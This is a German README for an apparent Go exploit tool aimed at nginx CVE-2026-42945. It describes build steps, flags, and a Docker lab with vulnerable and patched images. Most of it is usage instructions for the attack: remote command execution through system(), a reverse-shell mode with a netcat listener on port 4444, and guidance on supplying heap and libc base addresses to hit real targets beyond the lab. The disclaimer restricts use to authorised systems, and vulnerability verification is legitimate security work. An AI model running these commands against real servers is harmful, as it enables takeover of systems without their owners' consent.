CVE-2026-42945 PoC (Go)

Deutsch | English

Ein Erkennungs- und Exploit-Hilfstool für die nginx HTTP/2-Implementierung (CVE-2026-42945), das in autorisierten Umgebungen verwendet wird, um das Vorhandensein der Schwachstelle zu überprüfen, die Wirksamkeit von Patches zu testen und das PoC-Verhalten in kontrollierten Testumgebungen zu reproduzieren.

Betroffene Versionen (grobe Einschätzung): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ sind behoben.

⚠️ Haftungsausschluss (unbedingt lesen)

Dieses Repository dient ausschließlich der Sicherheitsforschung, Schwachstellenverifikation und defensiven Tests.

1. Rechtmäßige Autorisierung: Du darfst dieses Tool nur auf Systemen verwenden, für die du eine ausdrückliche schriftliche Genehmigung hast oder die vollständig in deinem Besitz sind. Das Scannen, Erkunden oder Angreifen fremder Netzwerke/Server ohne Autorisierung ist rechtswidrig. Die Autoren und Mitwirkenden übernehmen keinerlei rechtliche Haftung.
2. Eigenverantwortung: Die Nutzung kann zum Absturz von Worker-Prozessen, Betriebsunterbrechungen oder Datenverlust führen. Du musst die Auswirkungen selbst abschätzen und zuerst in einer isolierten Umgebung testen.
3. Keine Garantie: Dieses Tool wird „wie besehen“ bereitgestellt. Es wird nicht garantiert, dass es in einer realen Produktionsumgebung erfolgreich funktioniert. Seitenkanalergebnisse bedeuten nicht eine erreichte RCE – dies muss durch unabhängige Verifikation (Dateiablage, Befehlsausgabe, Reverse Shell) bestätigt werden.
4. Missbrauch verboten: Es ist untersagt, dieses Tool für das Eindringen in nicht autorisierte Systeme, Erpressung, Zerstörung, Kryptomining oder andere illegale Zwecke zu verwenden. Durch Herunterladen, Kompilieren oder Nutzung erklärst du, dass du diesen Haftungsausschluss gelesen hast und ihm zustimmst.
5. Keine Verbindung zu NGINX: Dieses Projekt ist eine unabhängige Forschungsimplementierung und repräsentiert nicht die Position von NGINX, Inc. oder anderer Hersteller.

Wenn du mit den obigen Bedingungen nicht einverstanden bist, stelle die Nutzung sofort ein und lösche dieses Repository.

Funktionsübersicht

Systemvoraussetzungen

• Go ≥ 1.26 (siehe go.mod)
• Optional: Docker + docker compose (lokale Testumgebung)
• Optional: make, golangci-lint (Entwicklung/Code-Check)
• Exploit-Verifikation: Ziel muss erforderliche PoC-Endpunkte (GET /api/, POST /spray usw.) bereitstellen; Docker-Testimages enthalten diese bereits.

Einschränkungen und Anwendungsbereich

Bauen

# Schnellbuild (Ausgabe nach bin/, von .gitignore ignoriert)
make build-cmd

# Oder direkt mit go
go build -o ./bin/cve-2026-42945 ./cmd

# Eingebettete Version anzeigen
./bin/cve-2026-42945 -version

Veröffentlichte Binärdateien: Lade cve-2026-42945-<os>-<arch> von Releases herunter (automatisch gebaut von GitHub Actions nach Push eines v*-Tags).

Benutzerhandbuch

Befehlszeilenparameter

-target string      Ziel-IP/Hostname (Standard 127.0.0.1)
-port int           Ziel-Port (0=80; Docker-Schwachstellenversion oft 19321)
-docker             Lokale Docker-Experimentierumgebung testen (vuln:19321, fixed:19331)
-check-only         Nur Erkennung, kein Exploit-Traffic senden
-probe-crash        Overflow-Erkennung + Seitenkanal durch Worker-Absturz
-cmd string         Befehl zur Ausführung über system()
-shell              Reverse Shell (erfordert -lhost)
-lhost string       Lokale IP für Reverse Shell
-lport int          Lokaler Port für Reverse Shell (Standard 4444)
-docker-profile     Heap-/libc-Basen aus deploy/docker verwenden
-heap-base string   Heap-Basis (hexadezimal, z.B. 0x555555659000)
-libc-base string   libc-Basis (hexadezimal)
-tries int          Anzahl Versuche pro Heap-Kandidat (Standard 10)
-timeout int        HTTP-Timeout in Sekunden (Standard 5)
-v                  Ausführliche Ausgabe
-version            Version anzeigen und beenden

Der Modus -docker kann nicht gleichzeitig mit -cmd / -shell verwendet werden; für Einzelziele nutze -port 19321.

1. Nur Ziel-Erkennung

./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only

2. Crash-Seitenkanal (Einzelziel)

./bin/cve-2026-42945 -port 19321 -probe-crash -v

3. Lokale Docker-Experimentierumgebung

Starte zuerst die Testcontainer:

make docker-up
# oder
docker compose -f deploy/docker-compose.yml up -d --build

Erster Build kompiliert nginx, kann einige Minuten dauern; warte, bis docker compose ps den Status healthy anzeigt, bevor du make test-lab ausführst.

Batch-Erkennung:

./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash

Oder mit Makefile-Kurzbefehlen:

make test-lab          # check + probe
make cmd-exploit       # Schreibt /tmp/pwned auf vuln und zeigt Verifikationsbefehl

4. Befehl auf Docker vuln ausführen (RCE-Verifikation)

Die höchste Erfolgsrate wird erreicht, wenn ASLR deaktiviert ist (setarch -R) und die voreingestellten Basen aus -docker-profile verwendet werden:

./bin/cve-2026-42945 -port 19321 -docker-profile \
  -cmd 'echo pwned > /tmp/pwned' -v

# Prüfen, ob Datei geschrieben wurde
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned

5. Reverse Shell

# Terminal 1: Tool starten (versucht nc-Hintergrundlistener)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v

# Falls nc nicht gefunden wird, manuell lauschen:
nc -lvnp 4444

6. Benutzerdefiniertes Speicherlayout

Wenn sich ASLR, libc-Version oder Heap-Basen des echten Ziels von denen in Docker unterscheiden, müssen die Basen selbst ermittelt oder geschätzt werden:

# Ziel muss Klartext-HTTP-Port sein (nicht TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
  -heap-base 0x555555659000 \
  -libc-base 0x7ffff77ba000 \
  -cmd 'id' -tries 20 -v

Ergebnisinterpretation

• [+] Seitenkanal: Worker anormal: Zeigt nur an, dass ein Worker möglicherweise durch Overflow abgestürzt ist. Allein kein Beweis für RCE.
• Zwingend zweite Verifikation: Prüfe Befehlseffekte (Datei, Prozess, docker exec usw.).
• Häufige Fehlerursachen: ASLR aktiviert, falsche libc/Heap-Offsets, PoC-Endpunkt nicht verfügbar, WAF/Rate-Limiting, Container benötigt Neustart.

Projektstruktur

cmd/                 Hauptprogrammeinstieg
internal/rift/       Erkennungs-, Payload- und Exploit-Logik
deploy/docker/       Experimentelle Images (nginx 1.30.0 / 1.30.1)
deploy/docker-compose.yml
.github/workflows/   Multi-Plattform-Release-Builds

Entwicklung

make help            # Alle make-Ziele anzeigen
make test            # Unit-Tests
make lint            # golangci-lint
make version         # Aktuelle Build-Version anzeigen

Neue Version veröffentlichen:

git tag v1.0.0
git push origin v1.0.0

Referenzen

• Repository: https://github.com/RedCrazyGhost/CVE-2026-42945
• CVE: CVE-2026-42945 (nginx HTTP/2-bezogene Schwachstelle; siehe offizielle Ankündigungen)
• Lizenz: MIT License
• Sicherheitsfragen: SECURITY.md

Erneuter Hinweis

Verwende dieses Tool nur auf Systemen, die du testen darfst. Jeglicher Missbrauch liegt außerhalb der Verantwortung der Autoren.